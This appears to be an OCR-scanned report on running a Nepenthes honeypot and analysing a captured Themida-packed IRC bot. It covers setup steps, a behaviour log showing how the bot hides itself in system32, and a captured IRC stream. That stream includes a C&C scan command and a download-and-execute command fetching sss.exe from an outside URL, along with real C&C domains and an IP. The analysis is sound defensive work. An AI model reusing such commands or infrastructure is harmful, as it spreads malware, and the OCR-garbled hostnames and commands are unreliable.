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1 INTRODUCTION

Based on the ongoing research, we obtained quite a few malware samples from the wild web using a
malware-capturing Honeypot called “Nepenthes”. Of these, an executable file named ‘msnnger.exe’
was selected for further analysis.

2 SETUP

We initially, started the project looking for software-based honeypots. The applications could be
categorized into Windows and Linux applications. Also, based on their interaction with the
malware/attacker, they can be classified further into Low-interaction and High-interaction.

Since, this was our first step into malware research, we decided to go one step at a time. Hence, it was
decided that we opt for a Low-interaction software based Honeypot. We kept our options open as far as
the OS was concerned.

A few applications that we found were:

e Honeyd

e WinHoneyd
e Honeybot
e  Multipot

e Nepenthes
e Honeywall

We selected the ‘Nepenthes’ application as it acted as Honeypot and also provided a Malware-collection
and Analysis feature.

3 PRECAUTION

To prevent infection of systems (worst-case scenario) on our network we decided to use a Datacard to
provide ‘direct’ internet connectivity. The Linux system was setup as a Virtual Machine.

4 INSTALLATION

Our Honeypot was built using a virtual Ubuntu system with 256 MB of RAM. We download the
Nepenthes application from the Ubuntu repository itself using the command

# sudo apt-get install nepenthes

5 CONFIGURATION

To utilize the optional analysis feature, we need to modify the ‘conf’ file in Nepenthes as mentioned
below.
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We edit the file /etc/nepenthes.conf. Uncomment the following lines.

“submitfile.so”, “submit-file.conf”
“submitnorman.so”, ‘‘submit-norman.conf”
“logdownload.so”,  “log-download.conf”

Also change the replace_local ipto O

Corresponding changes need to be made in submit-norman.conf file. The submit-file.conf is used to
store the path where the malware binaries will be stored. In the submit-norman.conf file, we need to
uncomment the email and URL links. Enter a valid email address, where the analysis results should be
mailed.

6 STARTING NEPENTHES
Once the configuration has been setup, we simply restart the nepenthes service
# [etc/inint.d/nepenthes restart

Nepenthes opens up several ports on the system, where it waits for a malware to come knocking.

To collect a larger sample, we left the honeypot system working over a few days, while monitoring the
malwares being captured frequently. Nepenthes automatically sends the malware binaries for analysis
to the configured URLs. The analysis reports are mailed to us a few days later, depending on the
resources available at the server.

An interesting malware binary we captured was the ‘msnnger.exe’.

7 THE ANALYSIS

This binary size was 419 KB.On VirusTotal 34 out of 40 antivirus programs detected it as a malware,
mostly as a SdBot or RBot (http://www.virustotal.com/analisis/8e27047decb22e9017b94331ec3a5d0b)

The malware was found to be packed using the Themida packer. Themida is a commercial packer,
apparently popular in China, which supports many advanced features such as anti-debugging and virtual
machine detection. Newer versions claim to support anti-dumping as well to prevent another program
from dumping the unpacked executable from memory while the program is running.

( http://isc.sans.org/diary.html?storyid=1871)

This prevented us from actually running the malware to analyze it’s working. But the Nepenthes analysis
report was available to us from which we present some interesting results.

A brief summary of the malware’s activities on a Windows system is shown below:

Open File: C:\WINDOWS\system32\KERNEL32.dll (OPEN_EXISTING)

Open File: C:\WINDOWS\system32\USER32.dll (OPEN_EXISTING)

Open File: C:\WINDOWS\system32\ADVAPI32.dll (OPEN_EXISTING)


http://www.virustotal.com/analisis/8e27047decb22e9017b94331ec3a5d0b
http://isc.sans.org/diary.html?storyid=1871
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Open File: \\.\PIPE\Isarpc (OPEN_EXISTING)

Create/Open File: \Device\Tcp (OPEN_ALWAYS)

Create/Open File: \Device\lp (OPEN_ALWAYS)

Create/Open File: \Device\lp (OPEN_ALWAYS)

Open File: \\.\Ip (OPEN_EXISTING)

Get File Attributes: C:\WINDOWS\system32\msnnger.exe Flags: (SECURITY_ANONYMOUS)
Copy File: c:\nepenthes-5a0ecf35530d52136c7e353ee9ebobfg-msnnger.exe to
C:\WINDOWS\system32\msnnger.exe

Open File: C:\WINDOWS\explorer.exe (OPEN_EXISTING)

Open File: C:\WINDOWS\system32\msnnger.exe (OPEN_EXISTING)

Set File Time: C:\WINDOWS\system32\msnnger.exe

Set File Attributes: C:\WINDOWS\system32\msnnger.exe Flags: (FILE_ATTRIBUTE_HIDDEN
FILE ATTRIBUTE_READONLY FILE_ATTRIBUTE_SYSTEM SECURITY_ANONYMOUS)

Open File: C:\WINDOWS\AppPatch\sysmain.sdb (OPEN_EXISTING)

Open File: C:\WINDOWS\AppPatch\systest.sdb (OPEN_EXISTING)

Open File: \Device\NamedPipe\ShimViewer (OPEN_EXISTING)

Open File: C:\WINDOWS\system32\ ()

Find File: C:\WINDOWS\system32\msnnger.exe

It can be seen from the above listing that the malware copies itself to the ‘system32’ directory and
changes it’s attributes to that of a HIDDEN, READ-ONLY & SYSTEM file.

Another very interesting observation made by Nepenthes analysis was that this malware is actually an
IRC Bot which tries to connect to the Command & Control center at jAm4l.kuwaitarmy.net
(88.208.209.151) on port 1231.

Nepenthes also provided us with a PCAP file. Opening the file in Wireshark helped us fill in the gaps for
the IRC analysis done by Nepenthes.
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[ Follow TCP Stream -|o] x|

rStream Content-

INICK DEU[XPSP3]00[L]785143

USER cnnspf O 0 :DEU[XP|SP3]00[L]785143

:Irc.WOLF.Net NOTICE AUTH :¥**¥ Looking up rour hostname. ..
:Irc.WoLF.Net NOTICE AUTH :*¥** Found your hostname
:Irc.WoLF.Net 001 DEU[XP|SP3]00[L]785143

:Irc.wWoLF.Net 002 DEU[XP|SP3]00[L]785143 : MOdded by uNknOwn Crew
:Irc.WoLF.Net 003 DEU[XP|SP3]00[L]785143
:IrCc.WoLF.Net 004 DEU[XP|sSP3]00[L]785143 : www. UNKnOwn. eu - iD&uNknOwn. eu

:IrC.WoOLF.Net 005 DEU[XP|SP3]00[L]785143

:Irc.WoLF.Net 005 DEU[XP|SP3]00[L]785143

:Irc.WoLF.Net 005 DEU[XP|sP3]00[L]785143

:Irc.wWoLF.Net 422 DEU[XP|SP3]00[L]785143 :MOTD File is missing

:DEU[XP|SP3]00[L]785143 MODE DEU[XP|SP3]00[L]785143 :+iR

USERHOST DEU[XP|SP3]00[L]785143

:IrC.WOLF.Net 302 DEU[XP|SP3]00[L]785143 :DEU[XP|SP3]00[L]785143=+cnnspf@yoshi.informatik.uni-
mannheim. de

MODE DEU[XP|SP3]00[L]785143 -XtB+i

JOIN ##j##

USERHOST DEU[XP|SP3]00[L]785143

MODE DEU[XP|SP3]00[L]785143 -XtB+i

JOIN ##j##

USERHOST DEU[XP|SP3]00[L]785143

MODE DEU[XP|SP3]00[L]785143 -XtB+i

JOIN ##j##

USERHOST DEU[XP|SP3]00[L]785143

:DEU[XP|SP3]00[L]785143! cnnspf@yoshi. informatik.uni-mannheim.de JOIN :##j##

:IrC.WOLF.Net 332 DEU[XP|SP3]00[L]785143 ##j## :.scan 75 5 0 -r -b

:Irc.WoLF.Net 333 DEU[XP|SP3]00[L]785143 ##3## A 1236532304

:IrCHW?LFBNet 302 DEU[XP|{SP3]00[L]785143 :DEU[XP|SP3]00[L]785143=+cnnspf@yoshi.informatik.uni-
mannheim. de

:Irc.wWoLF.Net 302 DEU[XP|SP3]00[L]785143 :DEU[XP|SP3]00[L]785143=+cnnspf@yoshi.informatik.uni-
mannheim. de

MODE DEU[XP|SP3]00[L]785143 -XtB+i

J0IN ##j##

:Irc.wWoLF.Net 302 DEU[XP|SP3]00[L]785143 :DEU[XP|5P3]00[L]785143=+cnnspf@yoshi.informatik.uni-
mannheim. de

tA!A@sOma.team MODE ##j## -M

1Al AGsOma. team PRIVMSG ##]## :.1ogin jdmdlz

tAlAGsOma. team PRIVMSG ##j## :.Sad jamaldown http://allmobile.dp.ua/sss.exe c:/sss.exe 1

Help Close | Filter Out This Stream

Find | Save Asl Erintl Entire conversation (1351 bytes) v |(" ASCII  EBCDIC (' HexDump " CArrays (® Raw

Figure 1 : TCP Stream data of Network Activity of malware

From the above screenshot we are able to obtain more information about the activities of the binary
over the network.

The content in RED is from the victim to the C&C center, whereas the content in BLUE is issued from the
C&C to the victim machine (client). An IRC bot is generally controlled remotely by a BOT Master using a
IRC channel (they are unmoderated). This channel is the Command and Control center of the BOT
master and all BOTs respond to commands sent from the C&C.

Nickname: DEU[XP|SP3]00[L]785143

User: cnnspf

IRC Server: irc.wolf.net

A command to scan is being issued to the client: scan 755 0 -r-b

The BOT tries to connect to a domain yoshi.infomatik.uni-mannheim.de, which belongs to a University
in Germany (most probably a PC or user account there has been infected).
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The BOT is then directed to connect to a different link http://allmobile.dp.au/sss.exe using the
username ‘j4ma4lz’ . This binary is stored or most probably executed in C:\sss.exe

Interestingly, in the wireshark capture file we see that an initial DNS query has been made for the
domain jAm4l.kuwaitarmy.net (which returned the IP address as 88.208.209.151). The domain
kuwaitarmy.net is hosted on the same IP as the forum of the previous domain forum.allmobile.dp.ua,
at 82.80.252.205. The binary sss.exe appears to have been removed.

3 2.124185 10 Jo o 5 TOSECEGE DNS standard guery A j4md1.kuwaitarmy.net

Figure 2 : DNS Request - Response Capture

8 CONCLUSION

We reached a dead-end after getting to this point as currently we are unable to bypass the virtual
machine protection implemented by the packer and secondly, the binary seems to be calling a non-
existent file. The article at SANS does mention a few workarounds which we could possibly try, but till
then we will keep our honeypot up to capture new malware binaries.
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